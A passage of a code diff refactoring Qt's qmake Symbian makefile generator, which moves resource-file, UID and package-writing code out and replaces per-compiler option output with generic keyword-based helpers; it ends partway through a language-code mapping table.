-            // This is convenience for defining single line statements
-            if (pkgrulesValue.isEmpty()) {
-                t << pkgrulesItem << endl;
-            } else {
-                foreach(QString pkgrule, pkgrulesValue) {
-                    t << pkgrule << endl;
-                }
-            }
-            t << endl;
-        }
-    }
-
-    // Close Manufacturer block
-    if (!project->values("DEPLOYMENT.manufacturers").isEmpty()) {
-        QString manufacturerFailNoteFile;
-        if (project->values("DEPLOYMENT.manufacturers.fail_note").isEmpty()) {
-            manufacturerFailNoteFile = QString("%1_" MANUFACTURER_NOTE_FILE).arg(uid3);
-            QFile ft(manufacturerFailNoteFile);
-            if (ft.open(QIODevice::WriteOnly)) {
-                generatedFiles << ft.fileName();
-                QTextStream t2(&ft);
-
-                t2 << QString(DEFAULT_MANUFACTURER_NOTE) << endl;
-            } else {
-                PRINT_FILE_CREATE_ERROR(manufacturerFailNoteFile)
-            }
-        } else {
-            manufacturerFailNoteFile = project->values("DEPLOYMENT.manufacturers.fail_note").join("");
-        }
-
-        t << "ELSEIF NOT(0) ; MANUFACTURER" << endl
-          << "\"" << fileInfo(manufacturerFailNoteFile).absoluteFilePath() << "\""
-          << " - \"\", FILETEXT, TEXTEXIT" << endl
-          << "ENDIF ; MANUFACTURER" << endl;
-    }
-
-    // Write wrapper pkg
-    if (!installerSisHeader.isEmpty()) {
-        QFile wrapperPkgFile(wrapperPkgFilename);
-        if (!wrapperPkgFile.open(QIODevice::WriteOnly | QIODevice::Text)) {
-            PRINT_FILE_CREATE_ERROR(wrapperPkgFilename);
-            return;
-        }
-
-        generatedFiles << wrapperPkgFile.fileName();
-        QTextStream twf(&wrapperPkgFile);
-
-        twf << wrapperStreamBuffer << endl;
-
-        // Wrapped files deployment
-        QString currentPath = qmake_getpwd();
-        QString sisName = QString("%1.sis").arg(fixedTarget);
-        twf << "\"" << currentPath << "/" << sisName << "\" - \"c:\\adm\\" << sisName << "\"" << endl;
-
-        QString bootStrapPath = QLibraryInfo::location(QLibraryInfo::PrefixPath);
-        bootStrapPath.append("/smartinstaller.sis");
-        QFileInfo fi(fileInfo(bootStrapPath));
-        twf << "@\"" << fi.absoluteFilePath() << "\",(0x2002CCCD)" << endl;
-    }
-}
-
-bool SymbianMakefileGenerator::containsStartWithItem(const QChar &c, const QStringList& src)
-{
-    bool result = false;
-    foreach(QString str, src) {
-        if (str.startsWith(c)) {
-            result =  true;
-            break;
-        }
-    }
-    return result;
-}
-
 void SymbianMakefileGenerator::writeCustomDefFile()
 {
     if (targetType == TypePlugin && !project->isActiveConfig("stdbinary")) {
@@ -575,9 +297,7 @@ void SymbianMakefileGenerator::writeCustomDefFile()
 void SymbianMakefileGenerator::init()
 {
     MakefileGenerator::init();
-    fixedTarget = escapeFilePath(fileFixify(project->first("TARGET")));
-    fixedTarget = removePathSeparators(fixedTarget);
-    removeSpecialCharacters(fixedTarget);
+    SymbianCommonGenerator::init();
 
     if (0 != project->values("QMAKE_PLATFORM").size())
         platform = varGlue("QMAKE_PLATFORM", "", " ", "");
@@ -594,60 +314,9 @@ void SymbianMakefileGenerator::init()
     // .mmp
     initMmpVariables();
 
-    // Check TARGET.UID3 presence
-    if (0 != project->values("TARGET.UID3").size()) {
-        uid3 = project->first("TARGET.UID3");
-    } else {
-        uid3 = generateUID3();
-    }
-
-    if ((project->values("TEMPLATE")).contains("app"))
-        targetType = TypeExe;
-    else if ((project->values("TEMPLATE")).contains("lib")) {
-        // Check CONFIG to see if we are to build staticlib or dll
-        if (project->isActiveConfig("staticlib") || project->isActiveConfig("static"))
-            targetType = TypeLib;
-        else if (project->isActiveConfig("plugin"))
-            targetType = TypePlugin;
-        else
-            targetType = TypeDll;
-    } else {
-        targetType = TypeSubdirs;
-    }
-
-    if (0 != project->values("TARGET.UID2").size()) {
-        uid2 = project->first("TARGET.UID2");
-    } else if (project->isActiveConfig("stdbinary")) {
-        uid2 = "0x20004C45";
-    } else {
-        if (targetType == TypeExe) {
-            if (project->values("QT").contains("gui", Qt::CaseInsensitive)) {
-                // exe and gui -> uid2 needed
-                uid2 = "0x100039CE";
-            } else {
-                // exe but not gui: uid2 is ignored anyway -> set it to 0
-                uid2 = "0";
-            }
-        } else if (targetType == TypeDll || targetType == TypeLib || targetType == TypePlugin) {
-            uid2 = "0x1000008d";
-        }
-    }
+    uid2 = project->first("TARGET.UID2");
 
     uid2 = uid2.trimmed();
-    uid3 = uid3.trimmed();
-
-    // UID is valid as either hex or decimal, so just convert it to number and back to hex
-    // to get proper string for private dir
-    bool conversionOk = false;
-    uint uidNum = uid3.toUInt(&conversionOk, 0);
-
-    if (!conversionOk) {
-        fprintf(stderr, "Error: Invalid UID \"%s\".\n", uid3.toUtf8().constData());
-    } else {
-        privateDirUid.setNum(uidNum, 16);
-        while (privateDirUid.length() < 8)
-            privateDirUid.insert(0, QLatin1Char('0'));
-    }
 }
 
 QString SymbianMakefileGenerator::getTargetExtension()
@@ -757,9 +426,7 @@ void SymbianMakefileGenerator::initMmpVariables()
 
     overridableMmpKeywords << QLatin1String(MMP_TARGETTYPE) << QLatin1String(MMP_EPOCHEAPSIZE);
     restrictableMmpKeywords << QLatin1String(MMP_TARGET) << QLatin1String(MMP_SECUREID)
-       << QLatin1String(MMP_OPTION_CW) << QLatin1String(MMP_OPTION_ARMCC)
-       << QLatin1String(MMP_OPTION_GCCE) << QLatin1String(MMP_LINKEROPTION_CW)
-       << QLatin1String(MMP_LINKEROPTION_ARMCC) << QLatin1String(MMP_LINKEROPTION_GCCE)
+       << QLatin1String(MMP_OPTION) << QLatin1String(MMP_LINKEROPTION)
        << QLatin1String(MMP_CAPABILITY) << QLatin1String(MMP_EPOCALLOWDLLDATA)
        << QLatin1String(MMP_EPOCSTACKSIZE) << QLatin1String(MMP_UID)
        << QLatin1String(MMP_VENDORID) << QLatin1String(MMP_VERSION);
@@ -1109,110 +776,65 @@ void SymbianMakefileGenerator::writeMmpFileCapabilityPart(QTextStream& t)
     t << endl << endl;
 }
 
-void SymbianMakefileGenerator::writeMmpFileCompilerOptionPart(QTextStream& t)
+void SymbianMakefileGenerator::writeMmpFileConditionalOptions(QTextStream& t,
+                                                              const QString &optionType,
+                                                              const QString &optionTag,
+                                                              const QString &variableBase)
 {
-    QString cw, armcc, gcce;
-    QString cwlink, armlink, gccelink;
-
-    if (0 != project->values("QMAKE_CXXFLAGS.CW").size()) {
-        cw.append(project->values("QMAKE_CXXFLAGS.CW").join(" "));
-        cw.append(" ");
-    }
-
-    if (0 != project->values("QMAKE_CXXFLAGS.ARMCC").size()) {
-        armcc.append(project->values("QMAKE_CXXFLAGS.ARMCC").join(" "));
-        armcc.append(" ");
-    }
-
-    if (0 != project->values("QMAKE_CXXFLAGS.GCCE").size()) {
-        gcce.append(project->values("QMAKE_CXXFLAGS.GCCE").join(" "));
-        gcce.append(" ");
-    }
-
-    if (0 != project->values("QMAKE_CFLAGS.CW").size()) {
-        cw.append(project->values("QMAKE_CFLAGS.CW").join(" "));
-        cw.append(" ");
+    foreach(QString compilerVersion, project->values("VERSION_FLAGS." + optionTag)) {
+        QStringList currentValues = project->values(variableBase + "." + compilerVersion);
+        if (currentValues.size()) {
+            t << "#if defined(" << compilerVersion << ")" << endl;
+            t << optionType << " " << optionTag << " " << currentValues.join(" ") <<  endl;
+            t << "#endif" << endl;
+        }
     }
+}
 
-    if (0 != project->values("QMAKE_CFLAGS.ARMCC").size()) {
-        armcc.append(project->values("QMAKE_CFLAGS.ARMCC").join(" "));
-        armcc.append(" ");
-    }
+void SymbianMakefileGenerator::writeMmpFileSimpleOption(QTextStream& t,
+                                                        const QString &optionType,
+                                                        const QString &optionTag,
+                                                        const QString &options)
+{
+    QString trimmedOptions = options.trimmed();
+    if (!trimmedOptions.isEmpty())
+        t << optionType << " " << optionTag << " " << trimmedOptions << endl;
+}
 
-    if (0 != project->values("QMAKE_CFLAGS.GCCE").size()) {
-        gcce.append(project->values("QMAKE_CXXFLAGS.GCCE").join(" "));
-        gcce.append(" ");
+void SymbianMakefileGenerator::appendMmpFileOptions(QString &options, const QStringList &list)
+{
+    if (list.size()) {
+        options.append(list.join(" "));
+        options.append(" ");
     }
+}
 
-    if (0 != project->values("QMAKE_CXXFLAGS").size()) {
-        cw.append(project->values("QMAKE_CXXFLAGS").join(" "));
-        cw.append(" ");
-        armcc.append(project->values("QMAKE_CXXFLAGS").join(" "));
-        armcc.append(" ");
-        gcce.append(project->values("QMAKE_CXXFLAGS").join(" "));
-        gcce.append(" ");
-    }
+void SymbianMakefileGenerator::writeMmpFileCompilerOptionPart(QTextStream& t)
+{
+    QStringList keywords =  project->values("MMP_OPTION_KEYWORDS");
+    QStringList commonCxxFlags = project->values(VAR_CXXFLAGS);
+    QStringList commonCFlags = project->values(VAR_CFLAGS);
+    QStringList commonLFlags = project->values(VAR_LFLAGS);
 
-    if (0 != project->values("QMAKE_CFLAGS").size()) {
-        cw.append(project->values("QMAKE_CFLAGS").join(" "));
-        cw.append(" ");
-        armcc.append(project->values("QMAKE_CFLAGS").join(" "));
-        armcc.append(" ");
-        gcce.append(project->values("QMAKE_CFLAGS").join(" "));
-        gcce.append(" ");
-    }
+    foreach(QString item, keywords) {
+        QString compilerOption;
+        QString linkerOption;
 
-    if (0 != project->values("QMAKE_LFLAGS.CW").size()) {
-        cwlink.append(project->values("QMAKE_LFLAGS.CW").join(" "));
-        cwlink.append(" ");
-    }
+        appendMmpFileOptions(compilerOption, project->values(VAR_CXXFLAGS "." + item));
+        appendMmpFileOptions(compilerOption, project->values(VAR_CFLAGS "." + item));
+        appendMmpFileOptions(compilerOption, commonCxxFlags);
+        appendMmpFileOptions(compilerOption, commonCFlags);
 
-    if (0 != project->values("QMAKE_LFLAGS.ARMCC").size()) {
-        armlink.append(project->values("QMAKE_LFLAGS.ARMCC").join(" "));
-        armlink.append(" ");
-    }
+        appendMmpFileOptions(linkerOption, project->values(VAR_LFLAGS "."  + item));
+        appendMmpFileOptions(linkerOption, commonLFlags);
 
-    if (0 != project->values("QMAKE_LFLAGS.GCCE").size()) {
-        gccelink.append(project->values("QMAKE_LFLAGS.GCCE").join(" "));
-        gccelink.append(" ");
-    }
+        writeMmpFileSimpleOption(t, MMP_OPTION, item, compilerOption);
+        writeMmpFileSimpleOption(t, MMP_LINKEROPTION, item, linkerOption);
 
-    if (0 != project->values("QMAKE_LFLAGS").size()) {
-        cwlink.append(project->values("QMAKE_LFLAGS").join(" "));
-        cwlink.append(" ");
-        armlink.append(project->values("QMAKE_LFLAGS").join(" "));
-        armlink.append(" ");
-        gccelink.append(project->values("QMAKE_LFLAGS").join(" "));
-        gccelink.append(" ");
+        writeMmpFileConditionalOptions(t, MMP_OPTION, item, VAR_CXXFLAGS);
+        writeMmpFileConditionalOptions(t, MMP_LINKEROPTION, item, VAR_LFLAGS);
     }
 
-    if (!cw.isEmpty() && cw[cw.size()-1] == ' ')
-        cw.chop(1);
-    if (!armcc.isEmpty() && armcc[armcc.size()-1] == ' ')
-        armcc.chop(1);
-    if (!gcce.isEmpty() && gcce[gcce.size()-1] == ' ')
-        gcce.chop(1);
-    if (!cwlink.isEmpty() && cwlink[cwlink.size()-1] == ' ')
-        cwlink.chop(1);
-    if (!armlink.isEmpty() && armlink[armlink.size()-1] == ' ')
-        armlink.chop(1);
-    if (!gccelink.isEmpty() && gccelink[gccelink.size()-1] == ' ')
-        gccelink.chop(1);
-
-    if (!cw.isEmpty())
-        t << MMP_OPTION_CW " " << cw <<  endl;
-    if (!armcc.isEmpty())
-        t << MMP_OPTION_ARMCC " " << armcc <<  endl;
-    if (!gcce.isEmpty())
-        t << MMP_OPTION_GCCE " " << gcce <<  endl;
-
-    if (!cwlink.isEmpty())
-        t << MMP_LINKEROPTION_CW " " << cwlink <<  endl;
-    if (!armlink.isEmpty())
-        t << MMP_LINKEROPTION_ARMCC " " << armlink <<  endl;
-    if (!gccelink.isEmpty())
-        t << MMP_LINKEROPTION_GCCE " " << gccelink <<  endl;
-
     t << endl;
 }
 
@@ -1268,7 +890,7 @@ void SymbianMakefileGenerator::writeMmpFileRulesPart(QTextStream& t)
     }
 }
 
-void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploymentExtension, const QString &iconFile, DeploymentList &depList)
+void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploymentExtension, const QString &iconFile)
 {
     // Read user defined bld inf rules
 
@@ -1345,7 +967,7 @@ void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploy
         QString uid = generate_uid(fullProName);
         QString bldinfDefine = QString("BLD_INF_") + subdirFileName + QString("_") + uid;
         bldinfDefine = bldinfDefine.toUpper();
-        removeSpecialCharacters(bldinfDefine);
+        removeEpocSpecialCharacters(bldinfDefine);
 
         if (!condition.isEmpty())
             t << "#if defined(" << condition << ")" << endl;
@@ -1424,442 +1046,6 @@ void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploy
     }
 }
 
-void SymbianMakefileGenerator::writeRegRssFile(QMap<QString, QStringList> &userItems)
-{
-    QString filename(fixedTarget);
-    filename.append("_reg.rss");
-    QFile ft(filename);
-    if (ft.open(QIODevice::WriteOnly)) {
-        generatedFiles << ft.fileName();
-        QTextStream t(&ft);
-        t << "// ============================================================================" << endl;
-        t << "// * Generated by qmake (" << qmake_version() << ") (Qt " QT_VERSION_STR ") on: ";
-        t << QDateTime::currentDateTime().toString(Qt::ISODate) << endl;
-        t << "// * This file is generated by qmake and should not be modified by the" << endl;
-        t << "// * user." << endl;
-        t << "// ============================================================================" << endl;
-        t << endl;
-        t << "#include <" << fixedTarget << ".rsg>" << endl;
-        t << "#include <appinfo.rh>" << endl;
-        foreach(QString item, userItems[RSS_TAG_HEADER])
-            t << item << endl;
-        t << endl;
-        t << "UID2 KUidAppRegistrationResourceFile" << endl;
-        t << "UID3 " << uid3 << endl << endl;
-        t << "RESOURCE APP_REGISTRATION_INFO" << endl;
-        t << "\t{" << endl;
-        t << "\tapp_file=\"" << fixedTarget << "\";" << endl;
-        t << "\tlocalisable_resource_file=\"" RESOURCE_DIRECTORY_RESOURCE << fixedTarget << "\";" << endl;
-
-        writeRegRssList(t, userItems[RSS_TAG_SERVICE_LIST],
-                        QLatin1String(RSS_TAG_SERVICE_LIST),
-                        QLatin1String("SERVICE_INFO"));
-        writeRegRssList(t, userItems[RSS_TAG_FILE_OWNERSHIP_LIST],
-                        QLatin1String(RSS_TAG_FILE_OWNERSHIP_LIST),
-                        QLatin1String("FILE_OWNERSHIP_INFO"));
-        writeRegRssList(t, userItems[RSS_TAG_DATATYPE_LIST],
-                        QLatin1String(RSS_TAG_DATATYPE_LIST),
-                        QLatin1String("DATATYPE"));
-        t << endl;
-
-        foreach(QString item, userItems[RSS_TAG_DEFAULT])
-            t << "\t" << item.replace("\n","\n\t") << endl;
-        t << "\t}" << endl;
-
-        foreach(QString item, userItems[RSS_TAG_FOOTER])
-            t << item << endl;
-    } else {
-        PRINT_FILE_CREATE_ERROR(filename)
-    }
-}
-
-void SymbianMakefileGenerator::writeRegRssList(QTextStream &t,
-                                               QStringList &userList,
-                                               const QString &listTag,
-                                               const QString &listItem)
-{
-    int itemCount = userList.count();
-    if (itemCount) {
-        t << "\t" << listTag << " ="<< endl;
-        t << "\t\t{" << endl;
-        foreach(QString item, userList) {
-            t << "\t\t" << listItem << endl;
-            t << "\t\t\t{" << endl;
-            t << "\t\t\t" << item.replace("\n","\n\t\t\t") << endl;
-            t << "\t\t\t}";
-            if (--itemCount)
-                t << ",";
-            t << endl;
-        }
-        t << "\t\t}; "<< endl;
-    }
-}
-
-void SymbianMakefileGenerator::writeRssFile(QString &numberOfIcons, QString &iconFile)
-{
-    QString filename(fixedTarget);
-    filename.append(".rss");
-    QFile ft(filename);
-    if (ft.open(QIODevice::WriteOnly)) {
-        generatedFiles << ft.fileName();
-        QTextStream t(&ft);
-        t << "// ============================================================================" << endl;
-        t << "// * Generated by qmake (" << qmake_version() << ") (Qt " QT_VERSION_STR ") on: ";
-        t << QDateTime::currentDateTime().toString(Qt::ISODate) << endl;
-        t << "// * This file is generated by qmake and should not be modified by the" << endl;
-        t << "// * user." << endl;
-        t << "// ============================================================================" << endl;
-        t << endl;
-        t << "#include <appinfo.rh>" << endl;
-        t << "#include \"" << fixedTarget << ".loc\"" << endl;
-        t << endl;
-        t << "RESOURCE LOCALISABLE_APP_INFO r_localisable_app_info" << endl;
-        t << "\t{" << endl;
-        t << "\tshort_caption = STRING_r_short_caption;" << endl;
-        t << "\tcaption_and_icon =" << endl;
-        t << "\tCAPTION_AND_ICON_INFO" << endl;
-        t << "\t\t{" << endl;
-        t << "\t\tcaption = STRING_r_caption;" << endl;
-
-        QString rssIconFile = iconFile;
-        rssIconFile = rssIconFile.replace("/", "\\\\");
-
-        if (numberOfIcons.isEmpty() || rssIconFile.isEmpty()) {
-            // There can be maximum one item in this tag, validated when parsed
-            t << "\t\tnumber_of_icons = 0;" << endl;
-            t << "\t\ticon_file = \"\";" << endl;
-        } else {
-            // There can be maximum one item in this tag, validated when parsed
-            t << "\t\tnumber_of_icons = " << numberOfIcons << ";" << endl;
-            t << "\t\ticon_file = \"" << rssIconFile << "\";" << endl;
-        }
-        t << "\t\t};" << endl;
-        t << "\t}" << endl;
-        t << endl;
-    } else {
-        PRINT_FILE_CREATE_ERROR(filename);
-    }
-}
-
-void SymbianMakefileGenerator::writeLocFile(QStringList &symbianLangCodes)
-{
-    QString filename(fixedTarget);
-    filename.append(".loc");
-    QFile ft(filename);
-    if (ft.open(QIODevice::WriteOnly)) {
-        generatedFiles << ft.fileName();
-        QTextStream t(&ft);
-        t << "// ============================================================================" << endl;
-        t << "// * Generated by qmake (" << qmake_version() << ") (Qt " QT_VERSION_STR ") on: ";
-        t << QDateTime::currentDateTime().toString(Qt::ISODate) << endl;
-        t << "// * This file is generated by qmake and should not be modified by the" << endl;
-        t << "// * user." << endl;
-        t << "// ============================================================================" << endl;
-        t << endl;
-        t << "#ifdef LANGUAGE_SC" << endl;
-        t << "#define STRING_r_short_caption \"" << fixedTarget  << "\"" << endl;
-        t << "#define STRING_r_caption \"" << fixedTarget  << "\"" << endl;
-        foreach(QString lang, symbianLangCodes) {
-            t << "#elif defined LANGUAGE_" << lang << endl;
-            t << "#define STRING_r_short_caption \"" << fixedTarget  << "\"" << endl;
-            t << "#define STRING_r_caption \"" << fixedTarget  << "\"" << endl;
-        }
-        t << "#else" << endl;
-        t << "#define STRING_r_short_caption \"" << fixedTarget  << "\"" << endl;
-        t << "#define STRING_r_caption \"" << fixedTarget  << "\"" << endl;
-        t << "#endif" << endl;
-    } else {
-        PRINT_FILE_CREATE_ERROR(filename);
-    }
-}
-
-void SymbianMakefileGenerator::readRssRules(QString &numberOfIcons,
-                                            QString &iconFile, QMap<QString,
-                                            QStringList> &userRssRules)
-{
-    for (QMap<QString, QStringList>::iterator it = project->variables().begin(); it != project->variables().end(); ++it) {
-        if (it.key().startsWith(RSS_RULES_BASE)) {
-            QString newKey = it.key().mid(sizeof(RSS_RULES_BASE) - 1);
-            if (newKey.isEmpty()) {
-                fprintf(stderr, "Warning: Empty RSS_RULES_BASE key encountered\n");
-                continue;
-            }
-            QStringList newValues;
-            QStringList values = it.value();
-            foreach(QString item, values) {
-                // If there is no stringlist defined for a rule, use rule value directly
-                // This is convenience for defining single line statements
-                if (project->values(item).isEmpty()) {
-                    newValues << item;
-                } else {
-                    QStringList itemList;
-                    foreach(QString itemRow, project->values(item)) {
-                        itemList << itemRow;
-                    }
-                    newValues << itemList.join("\n");
-                }
-            }
-            // Verify thet there is exactly one value in RSS_TAG_NBROFICONS
-            if (newKey == RSS_TAG_NBROFICONS) {
-                if (newValues.count() == 1) {
-                    numberOfIcons = newValues[0];
-                } else {
-                    fprintf(stderr, "Warning: There must be exactly one value in '%s%s'\n",
-                            RSS_RULES_BASE, RSS_TAG_NBROFICONS);
-                    continue;
-                }
-            // Verify thet there is exactly one value in RSS_TAG_ICONFILE
-            } else if (newKey == RSS_TAG_ICONFILE) {
-                if (newValues.count() == 1) {
-                    iconFile = newValues[0];
-                } else {
-                    fprintf(stderr, "Warning: There must be exactly one value in '%s%s'\n",
-                            RSS_RULES_BASE, RSS_TAG_ICONFILE);
-                    continue;
-                }
-            } else if (newKey == RSS_TAG_HEADER
-                       || newKey == RSS_TAG_SERVICE_LIST
-                       || newKey == RSS_TAG_FILE_OWNERSHIP_LIST
-                       || newKey == RSS_TAG_DATATYPE_LIST
-                       || newKey == RSS_TAG_FOOTER
-                       || newKey == RSS_TAG_DEFAULT) {
-                userRssRules[newKey] = newValues;
-                continue;
-            } else {
-                fprintf(stderr, "Warning: Unsupported key:'%s%s'\n",
-                        RSS_RULES_BASE, newKey.toLatin1().constData());
-                continue;
-            }
-        }
-    }
-
-    QStringList newValues;
-    foreach(QString item, project->values(RSS_RULES)) {
-        // If there is no stringlist defined for a rule, use rule value directly
-        // This is convenience for defining single line statements
-        if (project->values(item).isEmpty()) {
-            newValues << item;
-        } else {
-            newValues << project->values(item);
-        }
-    }
-    userRssRules[RSS_TAG_DEFAULT] << newValues;
-
-    // Validate that either both RSS_TAG_NBROFICONS and RSS_TAG_ICONFILE keys exist
-    // or neither of them exist
-    if (!((numberOfIcons.isEmpty() && iconFile.isEmpty()) ||
-            (!numberOfIcons.isEmpty() && !iconFile.isEmpty()))) {
-        numberOfIcons.clear();
-        iconFile.clear();
-        fprintf(stderr, "Warning: Both or neither of '%s%s' and '%s%s' keys must exist.\n",
-                RSS_RULES_BASE, RSS_TAG_NBROFICONS, RSS_RULES_BASE, RSS_TAG_ICONFILE);
-    }
-
-    // Validate that RSS_TAG_NBROFICONS contains only numbers
-    if (!numberOfIcons.isEmpty()) {
-        bool ok;
-        numberOfIcons = numberOfIcons.simplified();
-        numberOfIcons.toInt(&ok);
-        if (!ok) {
-            numberOfIcons.clear();
-            iconFile.clear();
-            fprintf(stderr, "Warning: '%s%s' must be integer in decimal format.\n",
-                    RSS_RULES_BASE, RSS_TAG_NBROFICONS);
-        }
-    }
-}
-
-QStringList SymbianMakefileGenerator::symbianLangCodesFromTsFiles()
-{
-    QStringList tsfiles;
-    QStringList symbianLangCodes;
-    tsfiles << project->values("TRANSLATIONS");
-
-    fillQt2S60LangMapTable();
-
-    foreach(QString file, tsfiles) {
-        int extIndex = file.lastIndexOf(".");
-        int langIndex = file.lastIndexOf("_", (extIndex - file.length()));
-        langIndex += 1;
-        QString qtlang = file.mid(langIndex, extIndex - langIndex);
-        QString s60lang = qt2S60LangMapTable.value(qtlang, QString("SC"));
-
-        if (!symbianLangCodes.contains(s60lang) && s60lang != "SC")
-            symbianLangCodes += s60lang;
-    }
-
-    return symbianLangCodes;
-}
-
-void SymbianMakefileGenerator::fillQt2S60LangMapTable()
-{
-    qt2S60LangMapTable.reserve(170); // 165 items at time of writing.
-    qt2S60LangMapTable.insert("ab", "SC");            //Abkhazian                     //
-    qt2S60LangMapTable.insert("om", "SC");            //Afan                          //
-    qt2S60LangMapTable.insert("aa", "SC");            //Afar                          //
-    qt2S60LangMapTable.insert("af", "34");            //Afrikaans                     //Afrikaans
-    qt2S60LangMapTable.insert("sq", "35");            //Albanian                      //Albanian
-    qt2S60LangMapTable.insert("am", "36");            //Amharic                       //Amharic
-    qt2S60LangMapTable.insert("ar", "37");            //Arabic                        //Arabic
-    qt2S60LangMapTable.insert("hy", "38");            //Armenian                      //Armenian
-    qt2S60LangMapTable.insert("as", "SC");            //Assamese                      //
-    qt2S60LangMapTable.insert("ay", "SC");            //Aymara                        //
-    qt2S60LangMapTable.insert("az", "SC");            //Azerbaijani                   //
-    qt2S60LangMapTable.insert("ba", "SC");            //Bashkir                       //
-    qt2S60LangMapTable.insert("eu", "SC");            //Basque                        //
-    qt2S60LangMapTable.insert("bn", "41");            //Bengali                       //Bengali
-    qt2S60LangMapTable.insert("dz", "SC");            //Bhutani                       //
-    qt2S60LangMapTable.insert("bh", "SC");            //Bihari                        //
-    qt2S60LangMapTable.insert("bi", "SC");            //Bislama                       //
-    qt2S60LangMapTable.insert("br", "SC");            //Breton                        //
-    qt2S60LangMapTable.insert("bg", "42");            //Bulgarian                     //Bulgarian
-    qt2S60LangMapTable.insert("my", "43");            //Burmese                       //Burmese
-    qt2S60LangMapTable.insert("be", "40");            //Byelorussian                  //Belarussian
-    qt2S60LangMapTable.insert("km", "SC");            //Cambodian                     //
-    qt2S60LangMapTable.insert("ca", "44");            //Catalan                       //Catalan
-    qt2S60LangMapTable.insert("zh", "SC");            //Chinese                       //
-    qt2S60LangMapTable.insert("co", "SC");            //Corsican                      //
-    qt2S60LangMapTable.insert("hr", "45");            //Croatian                      //Croatian
-    qt2S60LangMapTable.insert("cs", "25");            //Czech                         //Czech
-    qt2S60LangMapTable.insert("da", "07");            //Danish                        //Danish
-    qt2S60LangMapTable.insert("nl", "18");            //Dutch                         //Dutch
-    qt2S60LangMapTable.insert("en", "01");            //English                       //English(UK)
-    qt2S60LangMapTable.insert("eo", "SC");            //Esperanto                     //
-    qt2S60LangMapTable.insert("et", "49");            //Estonian                      //Estonian
-    qt2S60LangMapTable.insert("fo", "SC");            //Faroese                       //
-    qt2S60LangMapTable.insert("fj", "SC");            //Fiji                          //
-    qt2S60LangMapTable.insert("fi", "09");            //Finnish                       //Finnish
-    qt2S60LangMapTable.insert("fr", "02");            //French                        //French
-    qt2S60LangMapTable.insert("fy", "SC");            //Frisian                       //
-    qt2S60LangMapTable.insert("gd", "52");            //Gaelic                        //Gaelic
-    qt2S60LangMapTable.insert("gl", "SC");            //Galician                      //
-    qt2S60LangMapTable.insert("ka", "53");            //Georgian                      //Georgian
-    qt2S60LangMapTable.insert("de", "03");            //German                        //German
-    qt2S60LangMapTable.insert("el", "54");            //Greek                         //Greek
-    qt2S60LangMapTable.insert("kl", "SC");            //Greenlandic                   //
-    qt2S60LangMapTable.insert("gn", "SC");            //Guarani                       //
-    qt2S60LangMapTable.insert("gu", "56");            //Gujarati                      //Gujarati
-    qt2S60LangMapTable.insert("ha", "SC");            //Hausa                         //
-    qt2S60LangMapTable.insert("he", "57");            //Hebrew                        //Hebrew
-    qt2S60LangMapTable.insert("hi", "58");            //Hindi                         //Hindi
-    qt2S60LangMapTable.insert("hu", "17");            //Hungarian                     //Hungarian
-    qt2S60LangMapTable.insert("is", "15");            //Icelandic                     //Icelandic
-    qt2S60LangMapTable.insert("id", "59");            //Indonesian                    //Indonesian
-    qt2S60LangMapTable.insert("ia", "SC");            //Interlingua                   //
-    qt2S60LangMapTable.insert("ie", "SC");            //Interlingue                   //
-    qt2S60LangMapTable.insert("iu", "SC");            //Inuktitut                     //
-    qt2S60LangMapTable.insert("ik", "SC");            //Inupiak                       //
-    qt2S60LangMapTable.insert("ga", "60");            //Irish                         //Irish
-    qt2S60LangMapTable.insert("it", "05");            //Italian                       //Italian
-    qt2S60LangMapTable.insert("ja", "32");            //Japanese                      //Japanese
-    qt2S60LangMapTable.insert("jv", "SC");            //Javanese                      //
-    qt2S60LangMapTable.insert("kn", "62");            //Kannada                       //Kannada
-    qt2S60LangMapTable.insert("ks", "SC");            //Kashmiri                      //
-    qt2S60LangMapTable.insert("kk", "63");            //Kazakh                        //Kazakh
-    qt2S60LangMapTable.insert("rw", "SC");            //Kinyarwanda                   //
-    qt2S60LangMapTable.insert("ky", "SC");            //Kirghiz                       //
-    qt2S60LangMapTable.insert("ko", "65");            //Korean                        //Korean
-    qt2S60LangMapTable.insert("ku", "SC");            //Kurdish                       //
-    qt2S60LangMapTable.insert("rn", "SC");            //Kurundi                       //
-    qt2S60LangMapTable.insert("lo", "66");            //Laothian                      //Laothian
-    qt2S60LangMapTable.insert("la", "SC");            //Latin                         //
-    qt2S60LangMapTable.insert("lv", "67");            //Latvian                       //Latvian
-    qt2S60LangMapTable.insert("ln", "SC");            //Lingala                       //
-    qt2S60LangMapTable.insert("lt", "68");            //Lithuanian                    //Lithuanian
-    qt2S60LangMapTable.insert("mk", "69");            //Macedonian                    //Macedonian
-    qt2S60LangMapTable.insert("mg", "SC");            //Malagasy                      //
-    qt2S60LangMapTable.insert("ms", "70");            //Malay                         //Malay
-    qt2S60LangMapTable.insert("ml", "71");            //Malayalam                     //Malayalam
-    qt2S60LangMapTable.insert("mt", "SC");            //Maltese                       //
-    qt2S60LangMapTable.insert("mi", "SC");            //Maori                         //
-    qt2S60LangMapTable.insert("mr", "72");            //Marathi                       //Marathi
-    qt2S60LangMapTable.insert("mo", "73");            //Moldavian                     //Moldovian
-    qt2S60LangMapTable.insert("mn", "74");            //Mongolian                     //Mongolian
-    qt2S60LangMapTable.insert("na", "SC");            //Nauru                         //
-    qt2S60LangMapTable.insert("ne", "SC");            //Nepali                        //
-    qt2S60LangMapTable.insert("nb", "08");            //Norwegian                     //Norwegian
-    qt2S60LangMapTable.insert("oc", "SC");            //Occitan                       //
-    qt2S60LangMapTable.insert("or", "SC");            //Oriya                         //
-    qt2S60LangMapTable.insert("ps", "SC");            //Pashto                        //
-    qt2S60LangMapTable.insert("fa", "SC");            //Persian                       //
-    qt2S60LangMapTable.insert("pl", "27");            //Polish                        //Polish
-    qt2S60LangMapTable.insert("pt", "13");            //Portuguese                    //Portuguese
-    qt2S60LangMapTable.insert("pa", "77");            //Punjabi                       //Punjabi
-    qt2S60LangMapTable.insert("qu", "SC");            //Quechua                       //
-    qt2S60LangMapTable.insert("rm", "SC");            //RhaetoRomance                 //
-    qt2S60LangMapTable.insert("ro", "78");            //Romanian                      //Romanian
-    qt2S60LangMapTable.insert("ru", "16");            //Russian                       //Russian
-    qt2S60LangMapTable.insert("sm", "SC");            //Samoan                        //
-    qt2S60LangMapTable.insert("sg", "SC");            //Sangho                        //
